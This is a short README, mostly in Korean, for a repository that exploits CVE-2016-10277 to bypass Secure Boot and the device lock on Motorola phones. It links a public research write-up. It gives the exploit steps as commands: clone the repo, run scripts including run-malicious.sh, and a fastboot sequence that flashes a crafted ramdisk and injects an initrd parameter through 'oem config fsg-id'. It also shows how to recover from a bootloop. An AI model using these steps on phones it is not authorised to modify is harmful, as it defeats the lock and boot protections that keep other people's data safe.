CVE-2016-10277을 악용한 Secure Boot 및 디바이스 잠금 우회
자세한 정보: https://alephsecurity.com/2017/06/07/initroot-moto/
기기가 취약한지 확인만 하려면, 수정하지 않은 스톡 ramdisk를 플래싱하는 것이 더 빠를 수 있습니다.
해당하는 경우 initroot-*-STOCK*.cpio.gz 파일을 찾기만 하면 됩니다.
플래싱 및 부트루프 해결:
git clone https://github.com/leosol/initroot.git
cd xt1040 (or any other folder)
use ./run-malicious.sh, run-stockramfs.sh and solve-bootloop.sh (if you have any bootloop)
Or use the following commands:
fastboot flash aleph $FILE_NAME
fastboot oem config fsg-id "a initrd=SCRATCH+PAD,LENGTH"
fastboot continue
#use the following to solve bootloops
fastboot oem config fsg-id ""
